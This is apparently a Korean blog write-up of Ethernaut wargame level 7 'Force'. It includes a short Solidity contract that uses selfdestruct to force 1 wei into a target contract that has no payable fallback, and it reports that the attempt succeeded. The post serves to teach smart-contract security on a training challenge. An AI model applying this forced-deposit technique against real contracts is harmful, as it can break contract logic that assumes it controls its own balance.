[이더넛] 레벨7 'Force' 풀기
[목표]
타겟컨트랙트 'Force'의
잔고를 0 이상으로 만들어라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Force 컨트랙트를 보면
이상한 고양이만 있고 아무것도 없습니다.
컨트랙트가 EOA를 통해
이더를 받으려면
fallback function payable이 있어야
하는데 없습니다.
하지만
스마트컨트랙트를 하나 더 만들어서
selfdestruct 시켜 강제로
Force 컨트랙트로 입금되게 하면 가능합니다.
pragma solidity 0.8.6;
contract force_Deposit {
constructor() payable {
}
function destroy() public {
selfdestruct(payable(0x1117C8c73376DBBFAe2D91Cf9e6BC3FBa39bB50a));
}
}
스마트컨트랙트 force_Deposit에
1웨이를 넣어 배포했습니다.
그 다음 destroy 함수를 실행시켜서
Force 스마트컨트랙트에 강제로
1웨이를 입금시켰습니다.
destroy 함수를 실행 후
Force 스마트컨트랙트의 잔고가
1wei로 증가했습니다.
성공~!
'블록체인' 카테고리의 다른 글
[이더넛] 레벨9 'King' 풀기 (0) | 2021.08.13 |
---|---|
[이더넛] 레벨8 'Vault' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨6 'Delegation' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨5 'Token' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨4 'Telephone' 풀기 (0) | 2021.08.11 |